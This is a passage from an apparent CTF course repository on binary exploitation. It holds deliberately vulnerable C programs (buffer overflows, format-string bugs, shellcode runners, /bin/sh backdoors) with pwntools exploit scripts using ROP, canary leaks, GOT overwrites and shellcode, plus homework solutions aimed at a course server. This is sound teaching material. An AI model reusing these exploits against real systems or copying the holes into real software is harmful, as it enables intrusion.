                if (mf || !argv1 || hardlink_setdst(mu, argv1) == -1)
                    puts("[-] hardlink error");
            } else if (!strcmp(argv0, "help") || !strcmp(argv0, "?")) {
                usage();
            } else {
                if (argv1 && !mf)
                    puts("[-] file not found");
                else
                    puts("[-] unknown command");
            }
        }
            
    }    
}

================================================
FILE: 2021/quals/myfs/share/mycrypto.c
================================================
#include "mycrypto.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <openssl/aes.h>
#include <openssl/rand.h>

unsigned char key[AES_KEY_LENGTH + 1] = {0};
unsigned char mycrypto_is_init = 0;

void mycrypto_try_init()
{
    if (mycrypto_is_init)
        return;
    
    do {
        RAND_bytes(key, AES_KEY_LENGTH);
    } while (strlen(key) != 16);

    mycrypto_is_init = 1;
}

int hexdump(unsigned char *data, uint16_t len)
{
    for (int i = 0; i < len; i++)
        printf("%02x", data[i]);
    return 0;
}

int my_encrypt(unsigned char *plaintext, uint16_t *len)
{
    mycrypto_try_init();

    AES_KEY encryption_key;
    unsigned char iv[AES_BLOCK_SIZE];
    unsigned char backup_iv[AES_BLOCK_SIZE];
    RAND_bytes(iv, AES_BLOCK_SIZE);
    memcpy(backup_iv, iv, AES_BLOCK_SIZE);

    if (*len % 0x10) {
        memset(plaintext + *len, 0x10 - (*len % 0x10), 0x10 - (*len % 0x10));
        *len += (0x10 - (*len % 0x10)) + AES_BLOCK_SIZE;
    } else {
        *len += AES_BLOCK_SIZE;
    }

    unsigned char *output = (unsigned char *) malloc(*len);

    AES_set_encrypt_key(key, AES_KEY_LENGTH * 8, &(encryption_key));
    AES_cbc_encrypt(plaintext, output,
                    *len - AES_BLOCK_SIZE, &encryption_key, iv, AES_ENCRYPT);

    memcpy(plaintext, backup_iv, AES_BLOCK_SIZE);
    memcpy(plaintext + AES_BLOCK_SIZE, output, *len - AES_BLOCK_SIZE);
    free(output);
    return 0;
}

int my_decrypt(unsigned char *cipher, uint16_t *len)
{
    mycrypto_try_init();
    
    if (*len % AES_BLOCK_SIZE)
        return -1;

    AES_KEY decryption_key;
    unsigned char iv[AES_BLOCK_SIZE];
    memcpy(iv, cipher, AES_BLOCK_SIZE);

    unsigned char *output = (unsigned char *) malloc(*len);

    AES_set_decrypt_key(key, AES_KEY_LENGTH * 8, &(decryption_key));
    AES_cbc_encrypt(cipher + AES_BLOCK_SIZE, output,
                    *len - AES_BLOCK_SIZE, &decryption_key, iv, AES_DECRYPT);

    int cnt = 0;
    int i = *len - AES_BLOCK_SIZE - 1;
    unsigned char last = output[i];

    if (last >= 0x10)
        return -1;

    for (; output[i] == last; i--)
        cnt++;

    if (cnt != last) {
        free(output);
        return -1;
    }

    memset(cipher, 0, *len);
    *len -= last + AES_BLOCK_SIZE;
    memcpy(cipher, output, *len);
    free(output);
    
    return 0;
}

================================================
FILE: 2021/quals/myfs/share/mycrypto.h
================================================
#ifndef _CRYPTO_H_
#define _CRYPTO_H_
#define AES_KEY_LENGTH 16
    
#include <openssl/aes.h>
#include <stdint.h>

void mycrypto_try_init();
int hexdump(unsigned char *data, uint16_t len);
int my_encrypt(unsigned char *plaintext, uint16_t *len);
int my_decrypt(unsigned char *cipher, uint16_t *len);

#endif

================================================
FILE: 2021/quals/myfs/share/run.sh
================================================
#!/bin/bash

exec 2>/dev/null
timeout 60 /home/myfs/myfs

================================================
FILE: 2021/quals/myfs/share/user.c
================================================
#include "user.h"
#include "fs.h"
#include <stdlib.h>
#include <string.h>

const uint32_t mu_max_user_cnt = 0x100;
static MyUser *user_list[0x100];

MyUser *__new_mu(const char *username, const char *password, MyFile *rootfs_mf)
{
    if (mu_cnt == mu_max_user_cnt)
        return NULL;

    if (strlen(username) >= MU_MAX_UNAME_LEN)
        return NULL;

    if (_get_mu_by_uname(username) != NULL)
        return NULL;

    MyUser *mu = (MyUser *) malloc(sizeof(MyUser));
    mu->uid = mu_cnt++;
    mu->dir_deep = 1;
    mu->username = strdup(username);
    mu->password = strdup(password);
    mu->curr_dir = rootfs_mf;
    mu->hardlink = NULL;
    mu->softlink = NULL;
    mu->dir_stack[0] = rootfs_mf;
    for (int i = 1; i < MU_DIR_MAX_DEEP; i++)
        mu->dir_stack[i] = NULL;
    user_list[mu_cnt - 1] = mu;
    return mu;
}

MyUser *new_mu(const char *username, const char *password, MyFile *rootfs_mf)
{
    return __new_mu(username, password, rootfs_mf);
}

int delete_mu(const char *username, const char *password, MyUser *curr_mu)
{
    MyUser *mu = _get_mu_by_uname(username);

    if (mu == NULL)
        return -1;

    if (curr_mu == mu)
        return -1;

    if (mu_is_deleted(mu))
        return -1;
    
    if (strcmp(password, mu->password))
        return -1;

    mu->password = NULL;
    return 0;
}

const char *get_uname_by_uid(uint8_t uid)
{
    if (uid >= mu_cnt)
        return NULL;
    
    return user_list[uid]->username;
}

MyUser *login_mu(const char *username, const char *password)
{
    for (int i = 0; i < mu_cnt; i++)
        if (!mu_is_deleted(user_list[i]) &&
            !strcmp(username, user_list[i]->username) &&
            !strcmp(password, user_list[i]->password))
            return user_list[i];
    return NULL;
}

MyUser *_get_mu_by_uname(const char *username)
{
    for (int i = 0; i < mu_cnt; i++)
        if (!strcmp(username, user_list[i]->username))
            return user_list[i];
    return NULL;
}

================================================
FILE: 2021/quals/myfs/share/user.h
================================================
#ifndef _USER_H_
#define _USER_H_

#include <stdint.h>
#define MU_DIR_MAX_DEEP 8
#define MU_MAX_USER_NUM 0x100
#define MU_MAX_UNAME_LEN 0x20

struct _MyUser;
typedef struct _MyUser MyUser;

static uint8_t mu_cnt = 0;

#include "fs.h"
struct _MyUser
{
    uint8_t uid;
    uint8_t dir_deep;
    char *username;
    char *password;
    MyFile *dir_stack[8];
    MyFile *curr_dir;
    MyFile *softlink;
    MyFile *hardlink;
};

static inline int mu_is_deleted(MyUser *mu)
{
    return mu->password == NULL;
}

const char *get_uname_by_uid(uint8_t uid);
MyUser *_get_mu_by_uname(const char *username);

/**
 * new_mu(): create an new user
 * > useradd <username> <password>
 */
MyUser *new_mu(const char *username, const char *password, MyFile *rootfs_mf);
MyUser *__new_mu(const char *username, const char *password, MyFile *rootfs_mf);

/**
 * login_mu(): login
 * > login <username> <password>
 */
MyUser *login_mu(const char *username, const char *password);

/**
 * delete_mu(): delete
 * > userdel <username> <password>
 */
int delete_mu(const char *username, const char *password, MyUser *curr_mu);


#endif

================================================
FILE: 2021/quals/myfs/xinetd
================================================
service myfs
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    server = /home/admin/quals/myfs/run.sh
    user = admin
    port = 30213
    flags = REUSE
    wait = no
}

================================================
FILE: 2021/week1/demo/Makefile
================================================
all: demo_shellcode demo_ROP demo_BOF1 demo_BOF2_leak_canary demo_canary demo_GOT demo_one_gadget_with_ROP demo_stack_pivoting demo_fmt

demo_shellcode:
	gcc -g -z execstack -o $@ $@.c
demo_BOF1:
	gcc -g -no-pie -fno-stack-protector -o $@ $@.c
demo_BOF2_leak_canary:
	gcc -g -no-pie -o $@ $@.c
demo_canary:
	gcc -Wl,--dynamic-linker=/usr/src/glibc/glibc_dbg/elf/ld.so -g -o $@ $@.c
demo_GOT:
	gcc -z lazy -Wl,--dynamic-linker=/usr/src/glibc/glibc_dbg/elf/ld.so -g -o $@ $@.c
demo_ROP:
	gcc -g -no-pie -static -fno-stack-protector -o $@ $@.c
demo_one_gadget_with_ROP:
	gcc -g -fno-stack-protector -o $@ $@.c
demo_stack_pivoting:
	gcc -g -no-pie -static -fno-stack-protector -o $@ $@.c
demo_fmt:
	gcc -g -z lazy -no-pie -o $@ $@.c

================================================
FILE: 2021/week1/demo/demo_BOF1.c
================================================
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void backdoor()
{
    system("/bin/sh");
}

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    char name[0x10];
    
    printf("What's your name: ");
    read(0, name, 0x100);

    return 0;
}

================================================
FILE: 2021/week1/demo/demo_BOF1.py
================================================
#!/usr/bin/python3

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

r = process('./demo_BOF1')

backdoor_addr = 0x401196
no_push_rbp_backdoor_addr = 0x40119b

gdb.attach(r)
# r.sendafter("What's your name: ", b'A'*0x18 + p64(backdoor_addr))
r.sendafter("What's your name: ", b'A'*0x18 + p64(no_push_rbp_backdoor_addr))

r.interactive()

================================================
FILE: 2021/week1/demo/demo_BOF2_leak_canary.c
================================================
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void backdoor()
{
    system("/bin/sh");
}

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    char name[0x10];
    char phone[0x10];

    printf("What's your name: ");
    read(0, name, 0x100);
    printf("Hello, %s !", name);

    printf("What's your phone number: ");
    read(0, phone, 0x100);

    return 0;
}

================================================
FILE: 2021/week1/demo/demo_BOF2_leak_canary.py
================================================
#!/usr/bin/python3

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

r = process('./demo_BOF2_leak_canary')

backdoor_addr = 0x4011b6
no_push_rbp_backdoor_addr = 0x4011bb

gdb.attach(r)
r.sendafter("What's your name: ", b'A'*0x29)
r.recvuntil('A'*0x29)
canary = u64(b'\x00' + r.recv(7))
print("canary: ", hex(canary))
r.sendafter("What's your phone number: ", b'A'*0x18 + p64(canary) + p64(0xdeadbeef) + p64(no_push_rbp_backdoor_addr))

r.interactive()

================================================
FILE: 2021/week1/demo/demo_GOT.c
================================================
#include <stdio.h>

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    
    puts("1. lazy binding");
    puts("2. call directly");
    return 0;
}

================================================
FILE: 2021/week1/demo/demo_GOT.sh
================================================
#!/bin/bash

gdb ./demo_GOT -ex 'set exec-wrapper env "LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so"'

================================================
FILE: 2021/week1/demo/demo_ROP.c
================================================
#include <stdio.h>
#include <unistd.h>

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    char s[0x10];

    printf("Here is your \"/bin/sh\": %p\n", "/bin/sh");
    printf("Give me your ROP: ");
    read(0, s, 0x400);

    return 0;
}


================================================
FILE: 2021/week1/demo/demo_ROP.py
================================================
#!/usr/bin/python3

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

r = process('./demo_ROP')

r.recvuntil('Here is your "/bin/sh": ')
binsh = int(r.recvline()[:-1], 16)
info(f"binsh: {hex(binsh)}")

pop_rdi_ret = 0x40186a # pop rdi ; ret
pop_rsi_ret = 0x40f3fe # pop rsi ; ret
pop_rdx_ret = 0x40176f # pop rdx ; ret
pop_rax_ret = 0x4516b7 # pop rax ; ret
syscall     = 0x4012d3 # syscall

ROP = flat(
    pop_rdi_ret, binsh,
    pop_rsi_ret, 0,
    pop_rdx_ret, 0,
    pop_rax_ret, 0x3b,
    syscall,
)

gdb.attach(r)
r.sendafter("Give me your ROP: ", b'A'*0x18 + ROP)

r.interactive()

================================================
FILE: 2021/week1/demo/demo_canary.c
================================================
#include <stdio.h>

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    
    char buf[8];
    unsigned long canary = *(unsigned long *)(buf + 8);
    printf("canary: 0x%016lx\n", canary);
    return 0;
}

================================================
FILE: 2021/week1/demo/demo_canary.sh
================================================
#!/bin/bash

gdb ./demo_canary -ex 'set exec-wrapper env "LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so"'

# pwndbg> tls
# pwndbg> canary
# pwndbg> search -8 <canary>

================================================
FILE: 2021/week1/demo/demo_fmt.c
================================================
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    char fmt[0x20];

    system("echo 'Give me fmt: '");
    read(0, fmt, 0x20);
    printf(fmt);

    system("echo 'Give me string: '");
    read(0, fmt, 0x20);
    puts(fmt);

    return 0;
}

================================================
FILE: 2021/week1/demo/demo_fmt.py
================================================
#!/usr/bin/python3

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

r = process('./demo_fmt')

puts_got = 0x404018
system_resolve_chain = 0x401050

gdb.attach(r)
r.sendafter("Give me string: ", "sh\x00")
r.sendafter("Give me fmt: ", b"%80c%8$hhn" + b"AAAAAA" + p64(puts_got))

r.interactive()

================================================
FILE: 2021/week1/demo/demo_one_gadget_with_ROP.c
================================================
#include <stdio.h>
#include <unistd.h>

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    char s[0x10];

    printf("Your libc: %p", printf);
    read(0, s, 0x100);

    return 0;
}


================================================
FILE: 2021/week1/demo/demo_one_gadget_with_ROP.py
================================================
#!/usr/bin/python3

from pwn import *
import sys

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

r = process('./demo_one_gadget_with_ROP')

r.recvuntil("Your libc: ")
libc = int(r.recv(14), 16) - 0x64e10
info(f"libc: {hex(libc)}")

"""
0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
"""
gdb.attach(r)
pop_rdx_rbx_ret = libc + 0x162866 # pop rdx ; pop rbx ; ret
pop_rsi_ret = libc + 0x27529 # pop rsi ; ret

if len(sys.argv) > 1:
    r.send(b'A'*0x18 + p64(pop_rdx_rbx_ret) + p64(0)*2 + p64(pop_rsi_ret) + p64(0) + p64(libc + 0xe6c84))
else:
    r.send(b'A'*0x18 + p64(libc + 0xe6c84))

r.interactive()

================================================
FILE: 2021/week1/demo/demo_shellcode.c
================================================
#include <stdio.h>
#include <unistd.h>

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    char shellcode[0x30];
    printf("Give me shellcode: ");

    read(0, shellcode, 0x30);
    ((void(*)(void))shellcode)();
    return 0;
}

================================================
FILE: 2021/week1/demo/demo_shellcode.py
================================================
#!/usr/bin/python3

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

r = process('./demo_shellcode')

# execve("/bin/sh", 0, 0)
sc = asm("""
mov rax, 0x3b
xor rsi, rsi
xor rdx, rdx

mov rdi, 0x68732f6e69622f
mov qword ptr [rbp], rdi
mov rdi, rbp
syscall
""")

assert(len(sc) <= 0x30)

gdb.attach(r)
r.sendafter("Give me shellcode: ", sc)

r.interactive()

================================================
FILE: 2021/week1/demo/demo_stack_pivoting.c
================================================
#include <stdio.h>
#include <unistd.h>

char name[0x80];

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    char s[0x10];

    printf("Give me your name: ");
    read(0, name, 0x80);

    printf("Give me your ROP: ");
    read(0, s, 0x20);

    return 0;
}


================================================
FILE: 2021/week1/demo/demo_stack_pivoting.py
================================================
#!/usr/bin/python3

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

r = process('./demo_stack_pivoting')

new_rsp = 0x4c3300 # name
leave_ret = 0x401dd0 # leave ; ret
pop_rdi_ret = 0x40186a # pop rdi ; ret
pop_rsi_ret = 0x40f40e # pop rsi ; ret
pop_rax_ret = 0x4516c7 # pop rax ; ret
pop_rdx_ret = 0x40176f # pop rdx ; ret
syscall = 0x4012d3 # syscall

ROP = b'/bin/sh\x00'
ROP += flat(
    pop_rdi_ret, new_rsp,
    pop_rsi_ret, 0,
    pop_rdx_ret, 0,
    pop_rax_ret, 0x3b,
    syscall
)

r.sendafter("Give me your name: ", ROP)

gdb.attach(r)
r.sendafter("Give me your ROP: ", b'A'*0x10 + p64(new_rsp) + p64(leave_ret))

r.interactive()

================================================
FILE: 2021/week1/hw/exp/fullchain-nerf.py
================================================
#!/usr/bin/python3

from pwn import *
import sys

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

if len(sys.argv) > 1:
    r = remote('edu-ctf.zoolab.org', 30206)
else:
    r = process('./fullchain-nerf')

r.sendlineafter('global or local > ', 'local')
r.sendlineafter('set, read or write > ', 'write-%6$p-%19$p')
r.recvuntil('write-')
data = r.recvuntil('global', drop=True).split(b'-')
code = int(data[0], 16) - 0x1670
libc = int(data[1], 16) - 0x270b3
info(f"libc: {hex(libc)}")
info(f"code: {hex(code)}")
flag_path = code + 0x2093
global_addr = code + 0x40a0
bss = code + 0x4000

rop_pop_rdi_ret = libc + 0x26b72
rop_pop_rsi_ret = libc + 0x27529
rop_pop_rax_ret = libc + 0x4a550
rop_pop_rdx_ret = libc + 0xe4942
rop_pop_rdx_rbx_ret = libc + 0x162866
rop_syscall_ret = libc + 0x66229
rop_leave_ret = libc + 0x5aa48

r.sendline('global')
r.sendlineafter('set, read or write > ', 'read')
r.sendlineafter('length > ', str(0x60))
# stack pivoting
ROP1 = flat(
    rop_leave_ret,
)
# read more ROP
ROP2 = flat(
    rop_pop_rax_ret, 0,
    rop_pop_rdi_ret, 0,
    rop_pop_rsi_ret, global_addr + 10*0x8,
    rop_pop_rdx_rbx_ret, 0x150, 1,
    rop_syscall_ret,
)
# orw
ROP3 = flat(
    rop_pop_rax_ret, 2,
    rop_pop_rdi_ret, flag_path,
    rop_pop_rsi_ret, 0,
    rop_syscall_ret,

    rop_pop_rax_ret, 0,
    rop_pop_rdi_ret, 3,
    rop_pop_rsi_ret, bss,
    rop_pop_rdx_rbx_ret, 0x30, 1,
    rop_syscall_ret,

    rop_pop_rax_ret, 1,
    rop_pop_rdi_ret, 1,
    rop_syscall_ret,
)

input()
r.send(ROP2)
r.sendlineafter('global or local > ', 'local')
r.sendlineafter('set, read or write > ', 'read')
r.sendlineafter('length > ', str(0x60))
r.send(b'\x00'*0x30 + p64(global_addr - 8) + ROP1)
input()
r.send(ROP3)

r.interactive()

================================================
FILE: 2021/week1/hw/exp/fullchain.py
================================================
#!/usr/bin/python3

from pwn import *
import sys

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

r = remote('edu-ctf.zoolab.org', 30201)

def _set_loc(loc):
    r.sendlineafter('global or local > ', loc)

def _set(data, _len):
    r.sendlineafter('set, read or write > ', 'set')
    r.sendlineafter('data > ', str(data))
    r.sendlineafter('length > ', str(_len))

def _set_opt(opt):
    r.sendlineafter('set, read or write > ', opt)

### leak stack ###
### r1 ###
_set_loc('local')
_set_opt('write%10$p')
r.recvuntil('write')
stack = int(r.recv(14), 16)
cnt = stack - 0x2c
ptr = stack - 0x28
info(f"stack: {hex(stack)}")
info(f"cnt: {hex(cnt)}")
info(f"ptr: {hex(ptr)}")

### r2 ###
_set_loc('local')
_set_opt('read')
r.sendline(b'\xAA'*0x10 + p64(cnt)[:-1])

### r3 ###
_set_loc('local')
_set_opt('write%16$n') # overwrite cnt to 5

### overwrite cnt to large value ###
_set_loc('local')
_set_opt('read')
r.sendline(b'\xBB'*0x10 + p64(cnt)[:-1])

_set_loc('global')
_set_opt('read')
r.sendline(b'write%1000c%16$hn')

_set_loc('global')
_set_opt('write') # overwrite cnt

### leak code ###
_set_loc('local')
_set_opt('write%11$p')
r.recvuntil('write')
code = int(r.recv(14), 16) - 0x172d
_global = code + 0x40b0
exit_got = code + 0x4070
memset_got = code + 0x4058
printf_got = code + 0x4040
info(f"code: {hex(code)}")

### overwrite exit_got ###
_set_loc('local')
_set_opt('read')
r.sendline(b'\xCC'*0x10 + p64(exit_got)[:-1])

_set_loc('global')
_set_opt('read')
r.sendline(b'write%21c%16$hhn')

_set_loc('global')
_set_opt('write')

### overwrite ptr to memset_got to leak + write mprotect address ###
_set_loc('local')
_set(0xAA, 0x10)

_set_loc('local')
_set_opt('read')
r.sendline(b'\xDD'*0x10 + p64(ptr)[:-1])

_set_loc('global')
_set_opt('read')
r.sendline(b'write%83c%16$hhn') # ptr: global --> printf_got

_set_loc('global')
_set_opt('write')

_set_loc('owo')
_set_opt('write')
libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x18ea90
# libc = u64(r.recv(6).ljust(8, b'\x00')) - 0xbf070
# libc = u64(r.recv(6).ljust(8, b'\x00'))
mprotect = libc + 0x11bb00
info(f"libc: {hex(libc)}")
input()

_set_loc('owo')
_set_opt('read')
r.sendline(p64(mprotect)) # memset --> mprotect

### overwrite ptr to page align and call memset to make page rwx ###
_set_loc('local')
_set_opt('read')
r.sendline(b'\xEE'*0x10 + p64(ptr)[:-1])

_set_loc('global')
_set_opt('read')
r.sendline(b'write%251c%16$hhn') # global --> page alignment

_set_loc('global')
_set_opt('write')

_set_loc('owo')
_set(0x1000, 7)

### overwrite exit_got to global ###
_set_loc('local')
_set_opt('read')
r.sendline(b'\xFF'*0x10 + p64(exit_got)[:-1])
_set_loc('global')
_set_opt('read')
r.sendline(f'write%{  (_global & 0xffff) - 5  }c%16$hn')

_set_loc('global')
_set_opt('write')

# read(0, global, 0x80)
sc = asm("""
xor rax, rax
xor rdi, rdi
lea rsi, [rip]
mov rdx, 0x100
syscall
""")

# open("/home/fullchain/flag", 0)
# read(3, buf, 0x40)
# write(1, buf, 0x40)
sc2 = asm(f"""
mov rax, 0x67616c66
push rax
mov rax, 0x2f6e696168636c6c
push rax
mov rax, 0x75662f656d6f682f
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall

mov rdi, rax
mov rsi, {_global}
mov rdx, 0x40
mov rax, 0
syscall

mov rdi, 1
mov rax, 1
syscall
""")

### write shellcode to global ###
_set_loc('global')
_set_opt('read')
r.sendline(sc)

_set_loc('owo')
r.sendline(b'\x90'*24 + sc2)

r.interactive()

================================================
FILE: 2021/week1/hw/exp/sandbox.py
================================================
#!/usr/bin/python3

from pwn import *
import sys

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

if len(sys.argv) > 1:
    r = remote('edu-ctf.zoolab.org', 30202)
else:
    r = process('./sandbox', env={"LD_PRELOAD": "./libc-2.31.so"})

offset_write = 0x1111e7
_system = 0x55410
sh = 0x1b75aa

sc = asm(f"""
mov rax, 123
syscall

mov rax, {offset_write}
sub rcx, rax

mov rdi, {sh}
add rdi, rcx

mov rax, {_system}
add rax, rcx
push 0
push rax
ret
""")

r.send(sc)
r.interactive()

================================================
FILE: 2021/week1/hw/fullchain/Dockerfile
================================================
FROM ubuntu:20.04
MAINTAINER u1f383

RUN apt-get update && \
    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd

RUN useradd -m fullchain
RUN chown -R root:root /home/fullchain
RUN chmod -R 755 /home/fullchain

CMD ["/usr/sbin/xinetd", "-dontfork"]

================================================
FILE: 2021/week1/hw/fullchain/docker-compose.yml
================================================
version: '3'

services:
  fullchain:
    build: ./
    volumes:
      - ./share:/home/fullchain:ro
      - ./xinetd:/etc/xinetd.d/fullchain:ro
    ports:
      - "30201:30201"
    expose:
      - "30201"

================================================
FILE: 2021/week1/hw/fullchain/share/Makefile
================================================
all:
	gcc -g -fstack-protector-all -z lazy -o fullchain fullchain.c -lseccomp


================================================
FILE: 2021/week1/hw/fullchain/share/flag
================================================
FLAG{test}

================================================
FILE: 2021/week1/hw/fullchain/share/fullchain.c
================================================
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <seccomp.h>

char global[0x10];

void setup_seccomp()
{
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mmap), 0);
    seccomp_load(ctx);
    seccomp_release(ctx);
    char dummy[0x1000] = {0};
}

void myset(char *addr)
{
    int c;
    size_t len;

    printf("data > ");
    scanf("%d", &c);
    printf("length > ");
    scanf("%lu", &len);

    if (len > 0x10) {
        puts("Too more");
        return;
    }
    memset(addr, c, len);
}

void myread(char *addr)
{
    scanf("%24s", addr);
}

void mywrite(char *addr)
{
    printf(addr);
}

void chal()
{
    char local[0x10] = {0};
    char *ptr = NULL;
    int cnt = 3;

    while (cnt--)
    {
        printf("global or local > ");
        scanf("%10s", local);

        if (!strncmp("local", local, 5))
            ptr = local;
        else if (!strncmp("global", local, 6))
            ptr = global;
        else
            exit(1);

        printf("set, read or write > ");
        scanf("%10s", local);

        if (!strncmp("set", local, 3))
            myset(ptr);
        else if (!strncmp("read", local, 4))
            myread(ptr);
        else if (!strncmp("write", local, 5))
            mywrite(ptr);
        else
            exit(1);
    }
    puts("Bye ~");
    exit(1);
}

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    setup_seccomp();
    char buf[0x10];
    memset(buf, 0, 0x1000);
    chal();
}

================================================
FILE: 2021/week1/hw/fullchain/share/run.sh
================================================
#!/bin/sh

exec 2>/dev/null
timeout 60 /home/fullchain/fullchain

================================================
FILE: 2021/week1/hw/fullchain/xinetd
================================================
service fullchain
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    server = /home/fullchain/run.sh
    user = fullchain
    port = 30201
    flags = REUSE
    bind = 0.0.0.0
    wait = no
}

================================================
FILE: 2021/week1/hw/fullchain-nerf/Dockerfile
================================================
FROM ubuntu:20.04
MAINTAINER u1f383

RUN apt-get update && \
    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd

RUN useradd -m fullchain-nerf
RUN chown -R root:root /home/fullchain-nerf
RUN chmod -R 755 /home/fullchain-nerf

CMD ["/usr/sbin/xinetd", "-dontfork"]

================================================
FILE: 2021/week1/hw/fullchain-nerf/docker-compose.yml
================================================
version: '3'

services:
  fullchain-nerf:
    build: ./
    volumes:
      - ./share:/home/fullchain-nerf:ro
      - ./xinetd:/etc/xinetd.d/fullchain-nerf:ro
    ports:
      - "30206:30206"
    expose:
      - "30206"

================================================
FILE: 2021/week1/hw/fullchain-nerf/share/Makefile
================================================
all:
	gcc -g -fno-stack-protector -z lazy -o fullchain-nerf fullchain-nerf.c -lseccomp


================================================
FILE: 2021/week1/hw/fullchain-nerf/share/flag
================================================
FLAG{test}

================================================
FILE: 2021/week1/hw/fullchain-nerf/share/fullchain-nerf.c
================================================
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <seccomp.h>

char global[0x20];

void setup_seccomp()
{
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mmap), 0);
    seccomp_load(ctx);
    seccomp_release(ctx);
}

void myread(char *addr)
{
    size_t len;

    printf("length > ");
    scanf("%lu", &len);
    if (len > 0x60) {
        puts("Too much");
        return;
    }
    read(0, addr, len);
}

void mywrite(char *addr)
{
    printf(addr); // fmt
}

void chal()
{
    char local[0x20] = {0}; // overflow
    char *ptr = NULL;
    int cnt = 3;

    while (cnt--)
    {
        printf("global or local > ");
        scanf("%16s", local);

        if (!strncmp("local", local, 5))
            ptr = local;
        else if (!strncmp("global", local, 6))
            ptr = global;
        else
            exit(1);

        printf("set, read or write > ");
        scanf("%16s", local);

        if (!strncmp("set", local, 3))
            puts("not implement !");
        else if (!strncmp("read", local, 4))
            myread(ptr);
        else if (!strncmp("write", local, 5))
            mywrite(ptr);
        else
            exit(1);
    }
    puts("Bye ~");
}

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    setup_seccomp();
    puts("[*] Flag is in the /home/fullchain-nerf/flag");
    chal();
}

================================================
FILE: 2021/week1/hw/fullchain-nerf/share/run.sh
================================================
#!/bin/sh

exec 2>/dev/null
timeout 60 /home/fullchain-nerf/fullchain-nerf

================================================
FILE: 2021/week1/hw/fullchain-nerf/xinetd
================================================
service fullchain-nerf
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    server = /home/fullchain-nerf/run.sh
    user = fullchain-nerf
    port = 30206
    flags = REUSE
    bind = 0.0.0.0
    wait = no
}

================================================
FILE: 2021/week1/hw/sandbox/Dockerfile
================================================
FROM ubuntu:20.04
MAINTAINER u1f383

RUN apt-get update && \
    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd

RUN useradd -m sandbox
